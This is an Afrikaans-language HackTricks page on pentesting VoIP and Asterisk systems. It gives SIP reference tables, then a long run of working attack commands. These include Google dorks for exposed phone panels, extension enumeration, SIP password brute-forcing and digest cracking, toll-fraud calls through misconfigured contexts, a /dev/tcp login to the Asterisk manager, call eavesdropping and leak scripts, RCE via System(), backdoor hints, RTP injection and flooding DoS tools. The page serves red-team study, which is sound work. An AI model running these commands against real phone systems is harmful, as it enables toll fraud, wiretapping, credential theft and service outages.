.. | ||
basic-voip-protocols | ||
README.md |
Pentesting VoIP
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak. Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
VoIP Basiese Inligting
Om te begin leer oor hoe VoIP werk, kyk:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
Basiese Boodskappe
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
Response Codes
1xx—Voorlopige Antwoorde
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xx—Suksesvolle Antwoorde
200 OK
202 Accepted
204 No Notification
3xx—Herleidings Antwoorde
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xx—Kliënt Fout Antwoorde
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xx—Bediener Fout Antwoorde
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xx—Globale Faal Antwoorde
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP Enumerasie
Telefoonnommers
Een van die eerste stappe wat 'n Rooi Span kan doen, is om beskikbare telefoonnommers te soek om met die maatskappy te kontak deur OSINT-gereedskap, Google-soektogte of deur webbladsye te scrape.
Sodra jy die telefoonnommers het, kan jy aanlyn dienste gebruik om die operateur te identifiseer:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
Om te weet of die operateur VoIP-dienste bied, kan jy identifiseer of die maatskappy VoIP gebruik... Boonop is dit moontlik dat die maatskappy nie VoIP-dienste gehuur het nie, maar PSTN-kaarte gebruik om sy eie VoIP PBX aan die tradisionele telekommunikasienetwerk te koppel.
Dinge soos outomatiese musiekantwoorde dui gewoonlik aan dat VoIP gebruik word.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT inligting
Enige ander OSINT-opsomming wat help om VoIP-sagteware te identifiseer wat gebruik word, sal nuttig wees vir 'n Red Team.
Netwerk Opsomming
nmap
is in staat om UDP-dienste te skandeer, maar as gevolg van die aantal UDP-dienste wat geskandeer word, is dit baie stadig en mag nie baie akkuraat wees met hierdie soort dienste nie.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
van SIPVicious (sudo apt install sipvicious
): Sal SIP-dienste in die aangeduide netwerk lokaliseer.svmap
is maklik om te blokkeer omdat dit die User-Agentfriendly-scanner
gebruik, maar jy kan die kode van/usr/share/sipvicious/sipvicious
aanpas en dit verander.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS scan
from sippts: SIPPTS scan is 'n baie vinnige skandeerder vir SIP-dienste oor UDP, TCP of TLS. Dit gebruik multithreading en kan groot reekse van netwerke skandeer. Dit laat jou toe om maklik 'n poortreeks aan te dui, beide TCP en UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Ekstra Netwerk Opsporing
Die PBX kan ook ander netwerkdienste blootstel soos:
- 69/UDP (TFTP): Firmware-opdaterings
- 80 (HTTP) / 443 (HTTPS): Om die toestel vanaf die web te bestuur
- 389 (LDAP): Alternatief om die gebruikersinligting te stoor
- 3306 (MySQL): MySQL-databasis
- 5038 (Manager): Laat toe om Asterisk vanaf ander platforms te gebruik
- 5222 (XMPP): Berigte met behulp van Jabber
- 5432 (PostgreSQL): PostgreSQL-databasis
- En ander...
Metodes Opsporing
Dit is moontlik om watter metodes beskikbaar is om in die PBX te gebruik deur SIPPTS enumerate
van sippts te gebruik.
sippts enumerate -i 10.10.0.10
Analiseer bediener antwoorde
Dit is baie belangrik om die koptekste wat 'n bediener aan ons terugstuur, te analiseer, afhangende van die tipe boodskap en koptekste wat ons stuur. Met SIPPTS send
van sippts kan ons persoonlike boodskappe stuur, alle koptekste manipuleer, en die antwoord analiseer.
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
Dit is ook moontlik om data te verkry as die bediener websockets gebruik. Met SIPPTS wssend
van sippts kan ons persoonlike WS-boodskappe stuur.
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Extension Enumeration
Extensions in a PBX (Private Branch Exchange) system verwys na die unieke interne identifiseerders wat aan individuele telefoonlyne, toestelle, of gebruikers binne 'n organisasie of besigheid toegeken word. Extensions maak dit moontlik om oproepen binne die organisasie doeltreffend te roete, sonder die behoefte aan individuele eksterne telefoonnommers vir elke gebruiker of toestel.
svwar
van SIPVicious (sudo apt install sipvicious
):svwar
is 'n gratis SIP PBX extensie lyn skandeerder. In konsep werk dit soortgelyk aan tradisionele wardialers deur 'n reeks extensies of 'n gegewe lys van extensies te raai.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
from sippts: SIPPTS exten identifiseer uitbreidings op 'n SIP-bediener. Sipexten kan groot netwerk- en poortreekse nagaan.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: Jy kan ook uitbreidings/gebruikersname met metasploit opnoem.
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX is 'n Inter Asterisk Exchange protokol gebruikersnaam brute-force enumerator. enumIAX kan in twee verskillende modi werk; Volgorde Gebruikersnaam Raai of Woordeboekaanval.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP-aanvalle
Wagwoord Brute-Force - aanlyn
Nadat die PBX en sommige uitbreidings/gebruikersname ontdek is, kan 'n Rooi Span probeer om te authentiseer via die REGISTER
metode na 'n uitbreiding deur 'n woordelys van algemene wagwoorde te gebruik om die authentisering te brute-force.
{% hint style="danger" %} Let daarop dat 'n gebruikersnaam dieselfde kan wees as die uitbreiding, maar hierdie praktyk kan verskil, afhangende van die PBX-stelsel, sy konfigurasie, en die organisasie se voorkeure...
As die gebruikersnaam nie dieselfde is as die uitbreiding nie, sal jy moet uitvind wat die gebruikersnaam is om dit te brute-force. {% endhint %}
svcrack
van SIPVicious (sudo apt install sipvicious
): SVCrack laat jou toe om die wagwoord vir 'n spesifieke gebruikersnaam/uitbreiding op 'n PBX te kraak.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
from sippts: SIPPTS rcrack is 'n afstand wagwoord kraker vir SIP dienste. Rcrack kan wagwoorde toets vir verskeie gebruikers in verskillende IP's en poortreekse.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP Sniffing
As jy VoIP-toerusting binne 'n Open Wifi netwerk vind, kan jy alle inligting snuffel. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi) kan jy MitM-aanvalle soos ARPspoofing tussen die PBX en die gateway uitvoer om die inligting te snuffel.
Tussen die netwerk inligting kan jy web geloofsbriewe vind om die toerusting te bestuur, gebruiker uitbreidings, gebruikersnaam, IP adresse, selfs gehashede wagwoorde en RTP-pakkette wat jy kan herproduseer om die gesprek te hoor, en meer.
Om hierdie inligting te verkry kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n spesiaal geskepte gereedskap om VoIP-gesprekke te snuffel is ucsniff.
{% hint style="danger" %}
Let daarop dat as TLS in die SIP kommunikasie gebruik word jy nie die SIP kommunikasie in duidelik sal kan sien.
Dieselfde sal gebeur as SRTP en ZRTP gebruik word, RTP-pakkette sal nie in duidelike teks wees.
{% endhint %}
SIP geloofsbriewe (Wagwoord Brute-Force - aflyn)
Kontroleer hierdie voorbeeld om beter te verstaan hoe 'n SIP REGISTER kommunikasie werk om te leer hoe geloofsbriewe gestuur word.
sipdump
&sipcrack
, deel van sipcrack (apt-get install sipcrack
): Hierdie gereedskap kan uittrek uit 'n pcap die digest-authentikasies binne die SIP-protokol en bruteforce hulle.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
van sippts: SIPPTS dump kan digest-authentikasies uit 'n pcap-lêer onttrek.
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
from sippts: SIPPTS dcrack is 'n hulpmiddel om die digest-outentifikasies wat met SIPPTS dump verkry is, te kraak.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
from sippts: SIPPTS tshark onttrek data van die SIP-protokol uit 'n PCAP-lêer.
sippts tshark -f capture.pcap [-filter auth]
DTMF kodes
Nie net SIP geloofsbriewe kan in die netwerkverkeer gevind word nie, dit is ook moontlik om DTMF kodes te vind wat gebruik word om byvoorbeeld toegang tot die stempos te verkry.
Dit is moontlik om hierdie kodes in INFO SIP boodskappe, in klank of binne RTP pakkette te stuur. As die kodes binne RTP pakkette is, kan jy daardie deel van die gesprek sny en die hulpmiddel multimo gebruik om hulle te onttrek:
multimon -a DTMF -t wac pin.wav
Gratis oproepe / Asterisks verbindings miskonfigurasies
In Asterisk is dit moontlik om 'n verbinding van 'n spesifieke IP-adres of van enige IP-adres toe te laat:
host=10.10.10.10
host=dynamic
If 'n IP-adres is gespesifiseer, sal die gasheer nie REGISTER versoeke elke nou en dan hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang.
Om gebruikers te definieer kan hulle as volg gedefinieer word:
type=user
: Die gebruiker kan slegs oproepe as gebruiker ontvang.type=friend
: Dit is moontlik om oproepe as peer te maak en dit as gebruiker te ontvang (gebruik met uitbreidings)type=peer
: Dit is moontlik om oproepe as peer te stuur en te ontvang (SIP-trunks)
Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike:
insecure=port
: Laat peer verbindings wat deur IP geverifieer word.insecure=invite
: Vereis nie verifikasie vir INVITE-boodskappe nieinsecure=port,invite
: Albei
{% hint style="warning" %}
Wanneer type=friend
gebruik word, sal die waarde van die host veranderlike nie gebruik word nie, so as 'n admin 'n SIP-trunk verkeerd konfigureer met daardie waarde, sal enigiemand in staat wees om daartoe te verbind.
Byvoorbeeld, hierdie konfigurasie sal kwesbaar wees:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
Gratis Oproepe / Asterisks Konteks Misconfigurasies
In Asterisk is 'n konteks 'n benoemde houer of afdeling in die kiesplan wat verwante uitbreidings, aksies en reëls groepeer. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer hoe inkomende en uitgaande oproepe hanteer en gerouteer word. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en skeiding tussen verskillende dele van die stelsel te bied.
Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die extensions.conf
lêer. Konteks word aangedui deur vierkante hakies, met die konteksnaam binne-in. Byvoorbeeld:
csharpCopy code[my_context]
Binnen die konteks definieer jy uitbreidings (patrone van gedialde nommers) en assosieer dit met 'n reeks aksies of toepassings. Hierdie aksies bepaal hoe die oproep verwerk word. Byvoorbeeld:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
Hierdie voorbeeld demonstreer 'n eenvoudige konteks genoem "my_context" met 'n uitbreiding "100". Wanneer iemand 100 kies, sal die oproep beantwoord word, 'n welkomstekst sal gespeel word, en dan sal die oproep beëindig word.
Dit is nog 'n konteks wat toelaat om na enige ander nommer te bel:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
As die admin die default context definieer as:
[default]
include => my_context
include => external
{% hint style="warning" %} Enigeen sal in staat wees om die bediener te gebruik om na enige ander nommer te bel (en die admin van die bediener sal vir die oproep betaal). {% endhint %}
{% hint style="danger" %}
Boonop bevat die sip.conf
lêer standaard allowguest=true
, dan sal enige aanvaller met geen outentisering in staat wees om na enige ander nommer te bel.
{% endhint %}
SIPPTS invite
van sippts: SIPPTS invite kontroleer of 'n PBX bediener ons toelaat om oproepe te maak sonder outentisering. As die SIP bediener 'n onakkurate konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ons ook toelaat om die oproep na 'n tweede eksterne nommer oor te dra.
Byvoorbeeld, as jou Asterisk bediener 'n slegte kontekskonfigurasie het, kan jy INVITE versoek aanvaar sonder outorisasie. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken.
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
Gratis oproepe / Foutief geconfigureerde IVRS
IVRS staan vir Interaktiewe Stem Respons Stelsel, 'n telekommunikasietegnologie wat gebruikers toelaat om met 'n gekompliseerde stelsel te kommunikeer deur middel van stem of toetsingang. IVRS word gebruik om geoutomatiseerde oproep hantering stelsels te bou wat 'n reeks funksies bied, soos om inligting te verskaf, oproepe te roete, en gebruikersinvoer te vang.
IVRS in VoIP stelsels bestaan tipies uit:
- Stem aanwysings: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei.
- DTMF (Dubbeltoon Multi-Frekwensie) sein: Toetsingang wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en invoer te verskaf.
- Oproep roetering: Oproepe na die toepaslike bestemming lei, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer.
- Gebruikersinvoer vang: Inligting van belers versamel, soos rekeningnommers, saak-ID's, of enige ander relevante data.
- Integrasie met eksterne stelsels: Die IVR-stelsel aan databasisse of ander sagteware stelsels koppel om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer.
In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (extensions.conf
lêer) en verskeie toepassings soos Background()
, Playback()
, Read()
, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinvoer te vang, en die oproepvloei te beheer.
Voorbeeld van kwesbare konfigurasie
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
Die vorige is 'n voorbeeld waar die gebruiker gevra word om 1 te druk om 'n departement te bel, 2 om 'n ander te bel, of die volledige uitbreiding as hy dit weet.
Die kwesbaarheid is die feit dat die aangeduide uitbreiding lengte nie nagegaan word nie, so 'n gebruiker kan die 5 sekondes tydsduur 'n volledige nommer invoer en dit sal gebel word.
Uitbreiding Inspuiting
Gebruik 'n uitbreiding soos:
exten => _X.,1,Dial(SIP/${EXTEN})
Waar ${EXTEN}
die uitbreiding is wat gebel sal word, wanneer die ext 101 bekendgestel word sal dit gebeur:
exten => 101,1,Dial(SIP/101)
However, if ${EXTEN}
allows to introduce more than numbers (like in older Asterisk versions), an attacker could introduce 101&SIP123123123
to call the phone number 123123123. And this would be the result:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
Daarom sal 'n oproep na die uitbreiding 101
en 123123123
gestuur word en slegs die eerste een wat die oproep ontvang, sal gevestig word... maar as 'n aanvaller 'n uitbreiding gebruik wat enige ooreenkoms omseil wat uitgevoer word, maar nie bestaan nie, kan hy slegs 'n oproep na die gewenste nommer inspuit.
SIPDigestLeak kwesbaarheid
Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat lek van die Digest-authentikasie antwoord toe, wat bereken word vanaf die wagwoord. 'n Aflyn wagwoordaanval is dan moontlik en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel.
**Kwetsbaarheid scenario van hier**:
- 'n IP Telefoon (slagoffer) luister op enige poort (byvoorbeeld: 5060), wat telefoonoproepe aanvaar
- Die aanvaller stuur 'n INVITE na die IP Telefoon
- Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant antwoord nie)
- Wanneer die telefoon opgehang word, stuur die slagoffer telefoon 'n BYE na die aanvaller
- Die aanvaller gee 'n 407 antwoord wat om authentikasie vra en 'n authentikasie uitdaging uitreik
- Die slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging in 'n tweede BYE
- Die aanvaller kan dan 'n brute-force aanval op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) uitvoer en die wagwoord raai
- SIPPTS lek van sippts: SIPPTS lek benut die SIP Digest Leak kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed. Die uitvoer kan in SipCrack-formaat gestoor word om dit te bruteforce met SIPPTS dcrack of die SipCrack hulpmiddel.
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call laat 'n webgebruiker (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy telefoonnommer in te voer om gebel te word. Dan sal 'n kommersiële oproep gemaak word, en wanneer hy die telefoon opneem sal die gebruiker gebel en met die agent verbind word.
'n Algemene Asterisk-profiel hiervoor is:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- Die vorige profiel laat ENIGE IP adres toe om te verbind (as die wagwoord bekend is).
- Om 'n oproep te organiseer, soos voorheen gespesifiseer, is geen leesregte nodig nie en slegs oorsprong in skryf is nodig.
Met daardie regte kan enige IP wat die wagwoord ken verbind en te veel inligting onttrek, soos:
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
Meer inligting of aksies kan aangevra word.
Afluister
In Asterisk is dit moontlik om die opdrag ChanSpy
te gebruik wat die verlenging(e) om te monitor (of al die verlengings) aandui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet aan 'n verlenging toegeken word.
Byvoorbeeld, exten => 333,1,ChanSpy('all',qb)
dui aan dat as jy die verlenging 333 bel, dit alle verlengings sal monitor, begin luister wanneer 'n nuwe gesprek begin (b
) in stilmodus (q
) aangesien ons nie wil interaksie hê nie. Jy kan van een gesprek na 'n ander beweeg deur *
te druk, of deur die verlenging nommer te merk.
Dit is ook moontlik om ExtenSpy
te gebruik om slegs een verlenging te monitor.
In plaas daarvan om die gesprekke te luister, is dit moontlik om hulle in lêers te registreer deur 'n verlenging soos:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
Telefonskakels sal gestoor word in /tmp
.
Jy kan selfs Asterisk 'n skrip uitvoer wat die oproep sal lek wanneer dit gesluit word.
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed kwesbaarheid
RTCPBleed is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat RTP (Real Time Protocol) verkeer, wat VoIP-gesprekke dra, toe om geïntcepteer en hergerig te word deur enige iemand op die Internet. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer.
RTP-proxies probeer om NAT-beperkings wat RTC-stelsels raak, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering verkry is nie (bv. SIP). Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke IP- en poort-tuplet outomaties geleer word. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat "leer-modus" genoem kan word, maak nie gebruik van enige vorm van outentisering nie. Daarom kan aanvallers RTP-verkeer na die RTP-proxy stuur en die geproksiede RTP-verkeer ontvang wat bedoel is vir die beler of ontvanger van 'n aanhoudende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word.
'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat hulle soms, selfs al is hulle nie kwesbaar vir RTP Bleed nie, RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te spuit. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word.
Asterisk en FreePBX het tradisioneel die NAT=yes
instelling gebruik, wat RTP-verkeer toelaat om outentisering te omseil, wat moontlik lei tot geen klank of eenrigting-klank op oproepe nie.
Vir meer inligting, kyk na https://www.rtpbleed.com/
SIPPTS rtpbleed
van sippts: SIPPTS rtpbleed detecteer die RTP Bleed kwesbaarheid deur RTP-strome te stuur.
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
from sippts: SIPPTS rtcpbleed detecteer die RTP Bleed kwesbaarheid deur RTCP-strome te stuur.
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
van sippts: SIPPTS rtpbleedflood benut die RTP Bleed kwesbaarheid deur RTP-strome te stuur.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
from sippts: SIPPTS rtpbleedinject benut die RTP Bleed kwesbaarheid deur 'n klanklêer (WAV-formaat) in te spuit.
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
In Asterisk slaag jy op een of ander manier daarin om uitbreidingsreëls by te voeg en dit te herlaai (byvoorbeeld deur 'n kwesbare webbestuurder bediener te kompromitteer), dit is moontlik om RCE te verkry met die System
opdrag.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
There is command called Shell
that could be used instead of System
to execute system commands if necessary.
{% hint style="warning" %}
As die bediener bepaalde karakters in die System
opdrag (soos in Elastix) verbied, kyk of die webbediener toelaat om lêers op een of ander manier binne die stelsel te skep (soos in Elastix of trixbox), en gebruik dit om 'n backdoor-skrip te skep en gebruik dan System
om daardie skrip te voeren.
{% endhint %}
Interessante plaaslike lêers en toestemmings
sip.conf
-> Bevat die wagwoord van SIP gebruikers.- As die Asterisk bediener as root loop, kan jy root in gevaar stel.
- mysql root gebruiker mag geen wagwoord hê nie.
- dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep.
FreePBX
amportal.conf
-> Bevat die wagwoord van die webpaneel administrateur (FreePBX).FreePBX.conf
-> Bevat die wagwoord van die gebruiker FreePBXuser wat gebruik word om toegang tot die databasis te verkry.- dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep.
Elastix
Elastix.conf
-> Bevat verskeie wagwoorde in duidelike teks soos mysql root wagwoord, IMAPd wagwoord, web admin wagwoord.- Verskeie vouers sal aan die gecompromitteerde asterisk gebruiker behoort (as dit nie as root loop nie). Hierdie gebruiker kan die vorige lêers lees en beheer ook die konfigurasie, so hy kan Asterisk laat laai ander backdoored binaries wanneer dit uitgevoer word.
RTP Inspuiting
Dit is moontlik om 'n .wav
in gesprekke in te voeg met behulp van gereedskap soos rtpinsertsound
(sudo apt install rtpinsertsound
) en rtpmixsound
(sudo apt install rtpmixsound
).
Of jy kan die skripte van http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ gebruik om gesprekke te skandeer (rtpscan.pl
), 'n .wav
na 'n gesprek te stuur (rtpsend.pl
) en ruis in 'n gesprek in te voeg (rtpflood.pl
).
DoS
Daar is verskeie maniere om te probeer om DoS in VoIP bedieners te bereik.
SIPPTS flood
van sippts**: SIPPTS flood stuur onbeperkte boodskappe na die teiken.sippts flood -i 10.10.0.10 -m invite -v
SIPPTS ping
van sippts**: SIPPTS ping maak 'n SIP ping om die bediener se reaksietyd te sien.sippts ping -i 10.10.0.10
- IAXFlooder: DoS IAX protokol wat deur Asterisk gebruik word.
- inviteflood: 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer.
